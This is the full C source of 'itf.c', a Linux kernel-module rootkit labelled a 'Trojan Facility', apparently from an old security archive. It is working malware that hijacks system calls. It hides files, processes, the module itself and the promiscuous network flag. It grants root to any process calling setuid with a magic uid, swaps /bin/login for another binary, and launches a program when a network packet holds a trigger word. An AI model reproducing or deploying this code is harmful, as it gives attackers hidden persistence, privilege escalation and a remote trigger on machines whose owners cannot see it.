home *** CD-ROM | disk | FTP | other *** search
- /*
- * itf.c v0.8
- * Linux Integrated Trojan Facility
- * (c) plaguez - w00w00 Security Development (WSD)
- * This isn't fully tested code. Use at your own risks.
- */
-
-
- #define MODULE
- #define __KERNEL__
-
-
- #include <linux/config.h>
- #ifdef MODULE
- #include <linux/module.h>
- #include <linux/version.h>
- #else
- #define MOD_INC_USE_COUNT
- #define MOD_DEC_USE_COUNT
- #endif
-
- #include <linux/types.h>
- #include <linux/fs.h>
- #include <linux/mm.h>
- #include <linux/errno.h>
- #include <asm/segment.h>
- #include <asm/pgtable.h>
- #include <sys/syscall.h>
- #include <linux/dirent.h>
- #include <asm/unistd.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/socketcall.h>
- #include <linux/netdevice.h>
- #include <linux/if.h>
- #include <linux/if_arp.h>
- #include <linux/if_ether.h>
- #include <linux/proc_fs.h>
- #include <stdio.h>
- #include <errno.h>
- #include <fcntl.h>
- #include <ctype.h>
-
- /* Customization section
- * - RECVEXEC is the full pathname of the program to be launched when a packet
- * containing the word HIDEMYNAME is received with recvfrom(). This program
- * can be a shell script, but must be able to handle null **argv (I'm too lazy
- * to write more than execve(RECVEXEC,NULL,NULL); :)
- * - HIDEMYIP is written in the form that can be found in /proc/net/tcp.
- * - NEWEXEC is the name of the program that is executed instead of OLDEXEC
- * when an execve() syscall occurs.
- * - UID is the numeric uid that will give you root when a call to setuid(UID)
- * is made (like Halflife's code)
- * - files containing HIDEMYNAME in their full pathname will be invisible to
- * a getdents() system call.
- * - processes containing HIDEMYNAME in their process name will be hidden of the
- * procfs tree.
- */
- #undef ITF_READ
- #define HIDEMYNAME "plaguez"
- #define HIDEMYIP "07F"
- #define UID 31337
- #define OLDEXEC "/bin/login"
- #define NEWEXEC "/usr/bin/login"
- #define RECVEXEC "/tmp/test"
-
-
- /* old system calls vectors */
- int (*o_getdents) (uint, struct dirent *, uint);
- ssize_t(*o_readdir) (int, void *, size_t);
- int (*o_setuid) (uid_t);
- int (*o_execve) (const char *, const char *[], const char *[]);
- int (*o_ioctl) (int, int, unsigned long);
- int (*o_get_kernel_syms) (struct kernel_sym *);
- ssize_t(*o_read) (int, void *, size_t);
- int (*o_socketcall) (int, unsigned long *);
- /* entry points to brk() and fork() syscall. */
- static inline _syscall1(int, brk, void *, end_data_segment);
- static inline _syscall0(int, fork);
- static inline _syscall1(void,exit,int,status);
-
- extern void *sys_call_table[];
- int errno;
-
- char mtroj[] = HIDEMYNAME;
- char hidaddr[] = HIDEMYIP;
- int plaguez;
- int __NR_myexecve;
- int promisc;
-
-
-
- /*
- * Misc
- */
- int myatoi(char *str)
- {
- int res = 0;
- int mul = 1;
- char *ptr;
-
- for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
- if (*ptr < '0' || *ptr > '9')
- return (-1);
- res += (*ptr - '0') * mul;
- mul *= 10;
- }
- return (res);
- }
-
- void mybcopy(char *src, char *dst, unsigned int num)
- {
- while (num--)
- __put_user(__get_user(src++, 1), dst++, 1);
- }
-
-
- /*
- * String-oriented functions
- * (from user-space to kernel-space or invert)
- */
- char *strstr_fromfs(char *m, char *m1)
- { // m en userspace, m1 en kernelspace !!!
-
- int compt = 0;
- char a;
- char *m2 = m;
- char *tmp = 0;
-
- while (((a = __get_user(m2, 1)) != '\0') && (compt < strlen(m1))) {
- if (a == m1[compt]) {
- compt++;
- if (compt == 1)
- tmp = m2;
- } else {
- tmp = 0;
- compt = 0;
- }
- m2++;
- }
- return tmp;
- }
-
- int strcmp_fromfs(char *s1, char *s2)
- { // s1 kernelspace, s2 userspace !!!
-
- char *tmp = s2;
- int compt = 0;
-
- while (s1[compt] == __get_user(tmp, 1) && __get_user(tmp, 1) != 0 && s1[compt] != 0) {
- compt++;
- tmp++;
- }
- if (compt == (strlen(s1)))
- return 0;
- else
- return 1;
- }
-
- char *strcpy_fromfs(char *dest, char *src)
- {
- char t;
- int compt = 0;
-
- while ((t = __get_user((char *) &src[compt], 1) != 0))
- dest[compt++] = t;
-
- return dest;
- }
-
-
- char *strncpy_fromfs(char *dest, const char *src, int n)
- {
- char t, *tmp = src;
- int compt = 0;
-
- do {
- dest[compt++] = __get_user(tmp++, 1);
- }
- while ((dest[compt - 1] != '\0') && (compt != n));
-
- return dest;
- }
-
-
-
-
- struct task_struct *get_task(pid_t pid)
- {
- struct task_struct *p = current;
- do {
- if (p->pid == pid)
- return p;
- p = p->next_task;
- }
- while (p != current);
- return NULL;
-
- }
-
- /* the following function comes from fs/proc/array.c */
- static inline char *task_name(struct task_struct *p, char *buf)
- {
- int i;
- char *name;
-
- name = p->comm;
- i = sizeof(p->comm);
- do {
- unsigned char c = *name;
- name++;
- i--;
- *buf = c;
- if (!c)
- break;
- if (c == '\\') {
- buf[1] = c;
- buf += 2;
- continue;
- }
- if (c == '\n') {
- buf[0] = '\\';
- buf[1] = 'n';
- buf += 2;
- continue;
- }
- buf++;
- }
- while (i);
- *buf = '\n';
- return buf + 1;
- }
-
-
-
- int invisible(pid_t pid)
- {
- struct task_struct *task = get_task(pid);
- int done = 0;
- long i;
- char *buffer;
- if (task) {
- buffer = kmalloc(200, GFP_KERNEL);
- memset(buffer, 0, 200);
- task_name(task, buffer);
- if (strstr(buffer, (char *) &mtroj)) {
- kfree(buffer);
- return 1;
- }
- }
- return 0;
- }
-
-
-
- /*
- * New system calls
- */
-
- int n_get_kernel_syms(struct kernel_sym *table)
- {
- struct kernel_sym *tb;
- char *tmp, *tmp2;
- int compt, compt2, compt3, i, done;
-
- compt = (*o_get_kernel_syms) (table);
- if (table != NULL) {
- tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);
- if (tb == 0) {
- return compt;
- }
- compt2 = 0;
- done = 0;
- i = 0;
- memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));
- while (!done) {
- if ((tb[compt2].name)[0] == '#')
- i = compt2;
- if (!strcmp(tb[compt2].name, mtroj)) {
- for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);
- if (compt3 != (compt - 1))
- memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));
- else
- compt = i;
- done++;
- }
- compt2++;
- if (compt2 == compt)
- done++;
-
- }
-
- memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
- kfree(tb);
- }
- return compt;
-
- }
-
- #ifdef ITF_READ
- int n_read(int fd, char *buf, size_t count)
- {
- int res;
- char *ptr, *match;
- struct inode *dinode;
-
- res = (*o_read) (fd, buf, count);
-
- #ifdef __LINUX_DCACHE_H
- dinode = current->files->fd[fd]->f_dentry->d_inode;
- #else
- dinode = current->files->fd[fd]->f_inode;
- #endif
-
- if (res < 0 || MAJOR(dinode->i_dev))
- return (res);
-
- ptr = buf;
- switch (dinode->i_ino) {
- #ifdef ITF_STEALTH
- case PROC_MODULES:
- while (ptr < buf + res) {
- if (!strcmp_fromfs("itf", ptr)) {
- match = ptr;
- while (__get_user(ptr, 1) && __get_user(ptr, 1) != '\n')
- ptr++;
- ptr++;
- mybcopy(ptr, match, (buf + res) - ptr);
- res = res - (ptr - match);
- return (res);
- }
- while (__get_user(ptr, 1) && __get_user(ptr, 1) != '\n')
- ptr++;
- ptr++;
- }
- break;
- #endif
- #ifdef 0
- case PROC_NET_TCP:
-
- break;
- #endif
- default:
- break;
- }
- return (res);
- }
- #endif
-
-
-
- /*
- * how it works:
- * I need to allocate user memory. To do that, I'll do exactly as malloc() does
- * it (changing the break value).
- */
-
- int my_execve(const char *filename, const char *argv[], const char *envp[])
- {
- long __res;
- __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
- return (int) __res;
- }
-
- int n_execve(const char *filename, const char *argv[], const char *envp[])
- {
- char *test;
- int ret, tmp;
- char *truc = OLDEXEC;
- char *nouveau= NEWEXEC;
- unsigned long mmm;
-
- test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
- (void) strncpy_fromfs(test, filename, strlen(truc));
- test[strlen(truc)] = '\0';
- if (!strcmp(test, truc)) {
- kfree(test);
- mmm = current->mm->brk;
- ret = brk((void *) (mmm + 256));
- if (ret < 0)
- return ret;
- memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
- ret = my_execve((char *) (mmm + 2), argv, envp);
- tmp = brk((void *) mmm);
- } else {
- kfree(test);
- ret = my_execve(filename, argv, envp);
- }
- return ret;
-
- }
-
-
- /*
- * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.
- * If we reset the PROMISC flag when the trojan is already running, then it
- * won't hide it anymore (needed otherwise you'd just have to do an
- * "ifconfig eth0 +promisc" to find the trojan).
- */
- int n_ioctl(int d, int request, unsigned long arg)
- {
- int tmp, n, t;
- struct ifreq ifr;
-
- tmp = (*o_ioctl) (d, request, arg);
- if (request == SIOCGIFFLAGS && !promisc) {
- memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
- ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
- memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));
- } else if (request == SIOCSIFFLAGS) {
- memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
- if (ifr.ifr_flags & IFF_PROMISC)
- promisc = 1;
- else if (!(ifr.ifr_flags & IFF_PROMISC))
- promisc = 0;
- }
- return tmp;
-
- }
-
-
- /*
- * trojan setuid() system call.
- */
- int n_setuid(uid_t uid)
- {
- int tmp;
-
- if (uid == UID) {
- current->uid = 0;
- current->euid = 0;
- current->gid = 0;
- current->egid = 0;
- return 0;
- }
- tmp = (*o_setuid) (uid);
- return tmp;
- }
-
-
- /*
- * trojan getdents() system call.
- */
- int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
- {
- unsigned int tmp, n, m;
- int t, proc = 0;
- struct inode *dinode;
- struct dirent *dirp2, *dirp3;
-
- tmp = (*o_getdents) (fd, dirp, count);
-
- #ifdef __LINUX_DCACHE_H
- dinode = current->files->fd[fd]->f_dentry->d_inode;
- #else
- dinode = current->files->fd[fd]->f_inode;
- #endif
-
- if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
- proc = 1;
- if (tmp > 0) {
- dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
- memcpy_fromfs(dirp2, dirp, tmp);
- dirp3 = dirp2;
- t = tmp;
- while (t > 0) {
- n = dirp3->d_reclen;
- t -= n;
- if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \
- ||(proc && invisible(myatoi(dirp3->d_name)))) {
- if (t != 0)
- memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
- else
- dirp3->d_off = 1024;
- tmp -= n;
- }
- if (dirp3->d_reclen == 0) {
- /*
- * workaround for some shitty fs drivers that do not properly
- * feature the getdents syscall.
- */
- tmp -= t;
- t = 0;
- }
- if (t != 0)
- dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
-
-
- }
- memcpy_tofs(dirp, dirp2, tmp);
- kfree(dirp2);
- }
- return tmp;
-
- }
-
-
- /*
- * Trojan socketcall system call
- * executes a given binary when a packet containing the magic word is received.
- * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.
- */
-
-
- int n_socketcall(int call, unsigned long *args)
- {
- int ret, ret2, compt;
- char *t = RECVEXEC;
- unsigned long *sargs = args;
- unsigned long a0, a1, mmm;
- void *buf;
-
- ret = (*o_socketcall) (call, args);
-
- if (ret > 0 && call == SYS_RECVFROM) {
- a0 = get_user(sargs);
- a1 = get_user(sargs + 1);
- buf = kmalloc(ret, GFP_KERNEL);
- memcpy_fromfs(buf, (void *) a1, ret);
- for (compt = 0; compt < ret; compt++)
- if (((char *) (buf))[compt] == 0)
- ((char *) (buf))[compt] = 1;
- if (strstr(buf, mtroj)) {
- kfree(buf);
- ret2 = fork();
- if (ret2 == 0) {
- mmm = current->mm->brk;
- ret2 = brk((void *) (mmm + 256));
- printk("!BRK RET=%i!",ret2);
- memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
- printk("!MEMCPY OK!");
- /* Hope the execve has been successfull otherwise you'll have 2 copies of the
- master process in the ps list :] */
- ret2 = my_execve((char *) mmm + 2, NULL, NULL);
- printk("!EXECRETOUR!");
- exit(0);
-
- }
- }
- }
- return ret;
- }
-
-
-
-
-
- /*
- * module initialization stuff.
- */
- int init_module(void)
- {
-
- o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
- sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;
-
- #ifdef ITF_READ
- o_read = sys_call_table[SYS_read];
- sys_call_table[SYS_read] = (void *) n_read;
- #endif
-
- o_getdents = sys_call_table[SYS_getdents];
- sys_call_table[SYS_getdents] = (void *) n_getdents;
-
- o_setuid = sys_call_table[SYS_setuid];
- sys_call_table[SYS_setuid] = (void *) n_setuid;
-
- __NR_myexecve = 164;
- while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
- __NR_myexecve--;
- o_execve = sys_call_table[SYS_execve];
- if (__NR_myexecve != 0) {
- sys_call_table[__NR_myexecve] = o_execve;
- sys_call_table[SYS_execve] = (void *) n_execve;
- }
- promisc = 0;
- o_ioctl = sys_call_table[SYS_ioctl];
- sys_call_table[SYS_ioctl] = (void *) n_ioctl;
-
- o_socketcall = sys_call_table[SYS_socketcall];
- sys_call_table[SYS_socketcall] = (void *) n_socketcall;
- return 0;
-
- }
-
-
- void cleanup_module(void)
- {
-
- sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
- sys_call_table[SYS_getdents] = o_getdents;
- sys_call_table[SYS_setuid] = o_setuid;
- sys_call_table[SYS_socketcall] = o_socketcall;
-
- if (__NR_myexecve != 0)
- sys_call_table[__NR_myexecve] = 0;
- sys_call_table[SYS_execve] = o_execve;
-
- sys_call_table[SYS_ioctl] = o_ioctl;
- #ifdef ITF_READ
- sys_call_table[SYS_read] = o_read;
- #endif
-
- }
-